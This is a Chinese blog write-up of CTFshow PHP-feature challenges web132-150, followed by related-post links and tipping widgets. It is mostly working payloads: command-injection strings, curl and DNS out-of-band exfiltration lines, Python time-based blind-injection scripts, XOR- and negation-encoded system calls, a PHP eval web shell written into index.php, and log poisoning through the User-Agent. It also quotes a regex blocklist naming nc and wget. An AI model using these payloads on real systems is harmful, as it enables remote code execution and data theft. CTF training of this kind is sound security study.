CTFSHOW PHP特性篇 (下篇132-150)

ctf刷题 ctfshow【网鼎杯】 纯粹学安全 阅读详情

web132

if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
    $username = (String)$_GET['username'];
    $password = (String)$_GET['password'];
    $code = (String)$_GET['code'];

    if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){
        
        if($code == 'admin'){
            echo $flag;
        }
        
    }
}

虚假的前端,在网址后面输入/admin进入源码界面

后面还是挺简单的
看个小例子大家就懂了

 if(true && true || false){
        echo 123;
    }

结果是123所以对于题目来说,我们只要保证$username ==="admin",其他的不满足就可以了
payload:username=admin&password=1&code=admin

web133

if($F = @$_GET['F']){
    if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
        eval(substr($F,0,6));
    }else{
        die("6个字母都还不够呀?!");
    }
}

也是先给大家举个小例子

get传参   F=`$F `;sleep 3
经过substr($F,0,6)截取后 得到  `$F `;
也就是会执行 eval("`$F `;");
我们把原来的$F带进去
eval("``$F `;sleep 3`");
也就是说最终会执行  `   `$F `;sleep 3  ` == shell_exec("`$F `;sleep 3");
前面的命令我们不需要管,但是后面的命令我们可以自由控制。
这样就在服务器上成功执行了 sleep 3
所以 最后就是一道无回显的RCE题目了

无回显我们可以用反弹shell 或者curl外带 或者盲注
这里的话反弹没有成功,但是可以外带。

curl  http://xxx:4567?p=`tac f*`

当然要是没有公网ip的话,bp也可以帮到我们这个忙
payload: curl -X POST -F xx=@flag.php http://xxx
具体使用方法如下
打开bp
在这里插入图片描述
在这里插入图片描述
执行后我们查看bp中的内容
在这里插入图片描述

得到flag

web134

$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
    die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
    die(file_get_contents('flag.php'));
}

考察点 :POST数组的覆盖

测试代码

parse_str($_SERVER['QUERY_STRING']);
var_dump($_POST);

然后我们传入 _POST[‘a’]=123
会发现输出的结果为array(1) { ["‘a’"]=> string(3) “123” }
也就是说现在的$_POST[‘a’]存在并且值为123

题目中还有个extract($_POST)
这样的话 $a==123

payload:_POST[key1]=36d&_POST[key2]=36d

web135

在133的基础上增加了curl和其他一些字符的过滤,这时候其实可以通过ping得到flag的

payload:F=`$F `;ping `awk '/flag/' flag.php`.1mlbcw.dnslog.cn

获得dns地址

在这里插入图片描述
不知道为啥在133可以135不可以,没办法,只能再想个其他的命令了
发现没有限制写文件

payload:F=`$F `;nl f*>xxx

然后再去访问url/xxx就可以得到flag了

web136

其实是再135的基础上增加了过滤 ><
但是linux中还可以用tee写文件

ls|tee xxx

我们先来看下当前目录下有啥文件,访问url/xxx发现只有一个index.php
那我们再去看看根目录下有什么文件

ls /|tee xxx

得到 f149_15_h3r3
最后直接打开就可以了

nl  /f149_15_h3r3|tee xxx

web137

class ctfshow
{
    function __wakeup(){
        die("private class");
    }
    static function getFlag(){
        echo file_get_contents("flag.php");
    }
}
call_user_func($_POST['ctfshow']);

没有难度的一道题,考察调用类中的函数

payload:
ctfshow=ctfshow::getflag

拓展

php中 ->与:: 调用类中的成员的区别
->用于动态语境处理某个类的某个实例
::可以调用一个静态的、不依赖于其他初始化的类方法.

也就是说双冒号可以不用实例化类就可以直接调用类中的方法

web138

在上一题的基础上过滤了冒号
这时候就考察我们对call_user_func函数的使用了,call_user_func中不但可以传字符串也可以传数组。
具体使用方法如下

call_user_func(array($classname, 'say_hello'));
这时候会调用 classname中的 say_hello方法
payload:ctfshow[0]=ctfshow&ctfshow[1]=getFlag

web139

在136的基础上限制了写文件的权限,这时候可以考虑用盲打的方式。
猜测文件名

import requests
import time
import string
str=string.ascii_letters+string.digits
result=""
for i in range(1,5):
	key=0
	for j in range(1,15):
		if key==1:
			break
		for n in str:
			payload="if [ `ls /|awk 'NR=={0}'|cut -c {1}` == {2} ];then sleep 3;fi".format(i,j,n)
			#print(payload)
			url="http://877848b4-f5ed-4ec1-bfc1-6f44bf292662.chall.ctf.show?c="+payload
			try:
				requests.get(url,timeout=(2.5,2.5))
			except:
			    result=result+n
			    print(result)
			    break
			if n=='9':
				key=1
	result+=" "

得到flag所在文件 f149_15_h3r3,接着盲注文件内容

import requests
import time
import string
str=string.digits+string.ascii_lowercase+"-"
result=""
key=0
for j in range(1,45):
	print(j)
	if key==1:
		break
	for n in str:
		payload="if [ `cat /f149_15_h3r3|cut -c {0}` == {1} ];then sleep 3;fi".format(j,n)
		#print(payload)
		url="http://877848b4-f5ed-4ec1-bfc1-6f44bf292662.chall.ctf.show?c="+payload
		try:
			requests.get(url,timeout=(2.5,2.5))
		except:
		    result=result+n
		    print(result)
		    break

因为过滤了{}所以会我们就不加{}出来,跑出来flag然后手动添加就可以了。
如果容易出错的话,可以在payload=xxx前面加个time.sleep(0.1)

web140

if(isset($_POST['f1']) && isset($_POST['f2'])){
    $f1 = (String)$_POST['f1'];
    $f2 = (String)$_POST['f2'];
    if(preg_match('/^[a-z0-9]+$/', $f1)){
        if(preg_match('/^[a-z0-9]+$/', $f2)){
            $code = eval("return $f1($f2());");
            if(intval($code) == 'ctfshow'){
                echo file_get_contents("flag.php");
            }
        }
    }
}

在这里插入图片描述
可以看到只要我们让intval($code)为0就可以了
intval会将非数字字符转换为0,也就是说 intval('a')==0 intval('.')==0 intval('/')==0
所以方法就挺多了

md5(phpinfo())
md5(sleep())
md5(md5())
current(localeconv)
sha1(getcwd())     因为/var/www/html md5后开头的数字所以我们改用sha1

还有很多,大家可以自行探索

web141

if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];

    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/^\W+$/', $v3)){
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

先来看下正则表达式
/^\W+$/ 作用是匹配非数字字母下划线的字符
构造命令还是很简单的,大家可以看下我之前写过的一篇文章随便一种方式都可以构造出命令。我们先放到最后说,现在最主要的任务是return怎么绕过。
大家可以看下下面的示例

eval("return 1;phpinfo();");

会发现是无法执行phpinfo()的,但是php中有个有意思的地方,数字是可以和命令进行一些运算的,例如 1-phpinfo();是可以执行phpinfo()命令的。
这样就好说了。构造出1-phpinfo()-1就可以了,也就是说 v1=1&v2=1&v3=-phpinfo()-。
现在我们的任务就是取构造命令,那我们就用个简单的方式取反来试一下。
运行脚本构造system(‘tac f*’)得到 (~%8c%86%8c%8b%9a%92)(~%8b%9e%9c%df%99%d5)
所以最终payload

v1=1&v3=-(~%8c%86%8c%8b%9a%92)(~%8b%9e%9c%df%99%d5)-&v2=1

web142

payload:v1=0

web143

过滤了加减我们还可以用乘除,过滤了~我们可以用异或构造命令
具体命令构造参考前面写的文章
payload:

v1=1&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0b%01%03%00%06%00"^"%7f%60%60%20%60%2a")*&v2=1

web144

相对上面的几道类似的弱化了些
payload:

v1=1&v3=-&v2=(~%8c%86%8c%8b%9a%92)(~%8b%9e%9c%df%99%d5)

web145

考察点:三目运算符的妙用
小测试

eval("return 1?phpinfo():1;");

这样是可以执行phpinfo()的
所以只需要在前面的payload上稍加改动就可以了
payload:

v1=1&v3=?(~%8c%86%8c%8b%9a%92)(~%8b%9e%9c%df%99%d5):&v2=1

webweb146

又增加了分号的过滤,所以我们没法用三目运算符了,这时候想到了等号和位运算符

eval("return 1==phpinfo()||1;");
payload:
v1=1&v3===(~%8c%86%8c%8b%9a%92)(~%8b%9e%9c%df%99%d5)||&v2=1

web147

if(isset($_POST['ctf'])){
    $ctfshow = $_POST['ctf'];
    if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {
        $ctfshow('',$_GET['show']);
    }

}

考察点:create_function()代码注入

create_function('$a','echo $a."123"')

类似于

function f($a) {
  echo $a."123";
}

那么如果我们第二个参数传入 echo 1;}phpinfo();//
就等价于

function f($a) {
  echo 1;}phpinfo();//
}
从而执行phpinfo()命令

fuzz后发现%5c可以绕过这个正则表达式,具体原理可以看下这篇文章
这样我们就可以执行任意命令了
payload

get: show=echo 123;}system('tac f*');//
post: ctf=%5ccreate_function

web148

if(isset($_GET['code'])){
    $code=$_GET['code'];
    if(preg_match("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/",$code)){
        die("error");
    }
    @eval($code);
}
else{
    highlight_file(__FILE__);
}

function get_ctfshow_fl0g(){
    echo file_get_contents("flag.php");
}

没有过滤^,所以直接异或构造就可以了。
payload

code=("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%09%01%03%01%06%02"^"%7d%60%60%21%60%28");

后来问了下出题人发现这不是预期解,预期解是利用中文变量
payload

code=$哈="`{{{"^"?<>/";${$哈}[哼](${$哈}[嗯]);&哼=system&嗯=tac f*

其实也是利用异或构造

"`{{{"^"?<>/"; 异或出来的结果是 _GET

web149

$files = scandir('./'); 
foreach($files as $file) {
    if(is_file($file)){
        if ($file !== "index.php") {
            unlink($file);
        }
    }
}

file_put_contents($_GET['ctf'], $_POST['show']);

$files = scandir('./'); 
foreach($files as $file) {
    if(is_file($file)){
        if ($file !== "index.php") {
            unlink($file);
        }
    }
}

非预期,直接往index.php里面写一句话
payload

ctf=index.php
show=<?php eval($_POST[1]);?>

预期解 条件竞争

ctf=1.php
show=<?php system('tac /c*');?>

使用bp不断访问并传参,然后开一个去不断访问 1.php

web150

非预期
日志文件包含写一句话
修改user_agent内容为一句话,然后包含/var/log/nginx/access.log就可以使用我们写的一句话了。
首先访问index.php 修改user_agent为<?php eval($_POST[1]);?>
然后包含日志文件后如下图所示
在这里插入图片描述

预期解暂未做出来,先到这了。我们下篇见。

ctfshow 每周大挑战 极限命令执行 ctfshow 每周大挑战 极限命令执行 wp 阅读详情

相关推荐

CTFshow-pwn入门-前置基础pwn13-pwn19

ctfshow pwn入门-前置基础pwn13-pwn19

你们de4月天的博客 2588

CTFshow-WEB入门-PHP特性(持续更新)

web89 利用intval的这个特性: 非空的数组会返回1,因此利用数组绕过。 web90 两种方式: ?num=4476a ?num=0x117c web91 考察了preg_match的/m模式。 默认的正则开始"^“和结束”$“只是对于正则字符串如果在修饰符中加上"m”,那么开始和结束将会指字符串的每一行:每一行的开头就是"^",结尾就是"$"。 因此?cmd=php%0a1即可 web92 <?php include("flag.php"); highlight_file(__

feng的博客 6848

ctfshow web入门 PHP特性中篇(web105-web132)

目录 web105 web106 web107 web108 web109 web110 web111 web112 web113 web114 web115 web123 web125 web126 web127 web128 web129 web130 web131 web132 web105 <?php ​ /* # -*- coding: utf-8 -*- # @Author: Firebasky # @Date: 2020-09-16 1

ccfly1012的博客 1645

ctfshow(web入门)

第三题 根据提示直接bp抓包 发送到repeater查看响应包 得flag

qq_62553635的博客 2752

ctfshow php特性系列

文章目录web89web90web91web92web93web94web95web96web97web98 web89 <?php include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if(preg_match("/[0-9]/", $num)){ die("no no no!"); } if(intval($num)

xiaolong22333的博客 5281

ctfshow---php特性

使用此管道符“|”可以将两个命令分隔开,“|”左边命令的输出就会作为“|”右边命令的输入,此命令可连续使用,第一个命令的输出会作为第二个命令的输入,第二个命令的输出又会作为第三个命令的输入,依此类推。就是比如get传入a=1第一个foreach的$key就是a,$value就是1,利用die($error) 这里退出会输出$error,所以将flag的值赋值给他就能得到flag,当然第一个if不让,所以我们利用一个跳板。_()==gettext() 是gettext()的拓展函数,开启text扩展。

fainpo的博客 2362

CTFShow web入门123-150 (php特性(二))

CTFSHOW PHP特性篇 web123-150

lonmar的博客 6412

centos+apache+subversion+LDAP

yum install subversion 报错:[Errno 14] HTTP Error 416 - Requested Range Not Satisfiable 正在尝试其它镜像。 zaici

qq_41566366的博客 1546

ctfshow web入门118-150wp

前段时间太忙啦,就没有发。但是羽师傅也发了呢 CTFSHOW PHP特性篇(中篇 111-131) CTFSHOW PHP特性篇 (下篇132-150) 我就不写博客啦,还是发pdf吧,需要的可以下载 链接:https://pan.baidu.com/s/1YnkfV5wfCqPFr2HW1MwUEg 提取码:c0gf 复制这段内容后打开百度网盘手机App,操作更方便哦 ...

Firebasky的博客 1244

win2012 r2 + IIS8.5 伪静态设置脚本映射

win2012 r2 + IIS8.5 伪静态设置脚本映射,网站用的.net fromwork 2.0 ,应用程序池设置了32位支持

xueking87的专栏 3241

OpenClaw 接入智谱 GLM-5-Turbo 龙虾套餐:完整避坑指南与 SOP

OpenClaw 接入智谱 GLM-5-Turbo 的核心在于“端点匹配”和“多渠道验证”。端点匹配:龙虾套餐必须用标准端点。多渠道验证:遇到 TUI 不显示时,用curl或飞书机器人验证,不要被 Bug 误导。希望这份 SOP 能帮你顺利跑通 OpenClaw + GLM-5-Turbo,享受强大的 AI 编程助手!

Aaron_liu20的博客 1703

CTFshow——web入门——php特性(下篇)

web入门——php特性web123web125web126 web123 题目 <?php error_reporting(0); highlight_file(__FILE__); include("flag.php"); $a=$_SERVER['argv']; $c=$_POST['fun']; if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g']))

h_adam的博客 6666

GROMACS+PLUMED联合安装避坑指南:为什么你的plumed patch总是失败?

本文深入解析GROMACS与PLUMED联合安装中补丁失败的常见原因,并提供详细的避坑指南。针对版本兼容性、环境配置和编译选项等关键问题,给出从源码选择、环境搭建到手动合并补丁的完整解决方案,帮助用户成功整合这两个强大的分子动力学工具,实现增强采样模拟。

weixin_29302047的博客 289

ctfshow php特性 web89-web115 web123-150wp

皮爱吃皮特性

mumuzi的博客 5993

新手避坑:RT-Thread-Studio外设驱动配置最容易忽略的3个地方(附WDT实例)

本文针对RT-Thread-Studio新手在配置外设驱动时常见的编译报错问题,以看门狗(WDT)为例,详细解析了最易忽略的三个关键配置环节:RT-Thread-Studio的图形化Setting开关、Kconfig中的依赖关系以及SConscript的编译规则。掌握这三层配置模型,能有效避免头文件包含正确却依然编译失败的问题,确保驱动代码被正确加入构建。

gray5的博客 506

RuoYi项目适配达梦数据库(二)

RuoYi项目,代码生成模块的达梦数据库适配。

邢慧鹏的博客 1万+

CTFshow web入门——php特性

Web 89 <?php include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if(preg_match("/[0-9]/", $num)){ die("no no no!"); } if(intval($num)){ echo $flag; } }

小元砸的博客 7861

跨平台商品模型大解析:亚马逊 vs 阿里 vs 拼多多

本文深入探讨了亚马逊、阿里巴巴和拼多多三大电商平台的商品模型设计,分析了它们在变体关系、商品抽象层级和SKU定义等方面的异同。亚马逊模型以物流和变体为中心,强调全球仓配体系下的标准化管理;阿里模型采用多视角的弹性结构,适用于多类目、多品牌、多卖家环境;拼多多模型则结合平台标准化与商家个性化,适合短期促销和快速上新场景。文章还提供了实践建议,帮助自研电商平台或商品中台的开发者选择合适的商品结构,并强调了商品模型在电商系统中的核心作用。通过对比分析,本文旨在为读者提供商品建模的启发和参考。

曾经“等你生日那天”都遥远得像未来,如今却可欢愉的挥手说“下个十年见” 13万+

ctfshow——PHP特性

另外,intval()函数如果$base为0,则$var中存在字母的话遇到字母就停止读取,传入4476a会将后面的a丢弃,比较前面的.

qq_55202378的博客 1709

D457深度相机调试记录(max96712+max9295A)

使用max96712解串器解4路D457相机。采集深度相机Depth和RGB流。

navy2015_163的博客 1268

蓝牙模块HM-10手册

蓝牙模块HM-10手册,该手册对蓝牙模块HM-10进行了详细的介绍和使用方法以及一些AT指令。

CTFshow web(php特性129-132)

readfile() 函数输出一个文件。该函数读入一个文件并写入到输出缓冲。若成功,则返回从文件中读入的字节数。若失败,则返回 false。您可以通过 @readfile() 形式调用该函数,来隐藏错误信息。

csjjjd的博客 1387

温度PID控制PLC程序

温度PID稳定控制程序,适用于欧姆龙PLC,对其他PLC也具有很大参考价值

【Web】CTFSHOW PHP特性刷题记录(全)

知其然知其所以然,尽量把每种特性都详细讲明白。

uuzeray的博客 1988

复分析 阿尔福斯(Ahlfors) 第三版答案 英文

答案分为十章,有部分习题没有答案,全英文复分析阿尔福斯(Ahlfors) 第三版答案

Data-Structures-and-Algorithm-Analysis-in-Java.pdf

作者: Weiss, Mark A. 出版社: Addison Wesley Data Structures and Algorithm Analysis in Java is an “advanced algorithms” book that fits between traditional CS2 and Algorithms Analysis courses. In the old ACM Curriculum Guidelines, this course was known as CS7. This text is for readers who want to learn good programming and algorithm analysis skills simultaneously so that they can develop such programs with the maximum amo...

ctfshow php特性 web 89~150plus

目录web 92web 93web 94web 95web 96web 97web 98web 99web 100web 101web 102web 103web 104 web 92 num=0x117c intval($num,$base=0) //当base为0时,会自动检测num的进制 //例如:0x117c(16进制) == 4476(十进制) == 010574(8进制) web 93 在这里插入代码片 web 94 web 95 web 96 web 97 web 98 web 99 w

shinygod的博客 933

ctf show-web入门 php特性篇部分题解

ctfshowphp特性preg_match()intval()web96(路径问题)web98web99(in_array弱类型比较)in_array()web100var_dump()函数web101web102-103hex2bin()函数substr() 函数call_user_func()函数web104、106web105(双$$变量覆盖)web107(parse_str变量覆盖)parse_str()Parse_str()函数引起的变量覆盖漏洞web108(%00截断)ereg()函数strr

volcano的博客 9055

CTFshow web入门 php特性web131-150

先进性$code === mt_rand(1,0x36D) && $password === $flag判断,然后进行||判断。ctfshow[1]=getFlag:数组的第二个元素是字符串 "getFlag",表示类的静态方法名。代码的作用是将$F的钱6个字母截断,然后执行,6个字母肯定不够的,现有扩容的话就得传入参数本身。ctfshow[0]=ctfshow:数组的第一个元素是字符串 "ctfshow",表示类名。我们用数组绕过strripos,因为是数组,所以会返回null,通过pandun。

potatojiang的博客 948

ctfshow php特性 下

web113 function filter($file){ if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){ die('hacker!'); }else{ return $file; } } $file=$_GET['file']; if(! is_file($file)){ highlight_file(filter($f

weixin_63231007的博客 1819
上一篇: CTFSHOW PHP特性篇(中篇 111-131)
下一篇: CTFSHOW文件上传篇
yu22x
博客等级 码龄7年 3740粉丝 121原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

yu22x

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值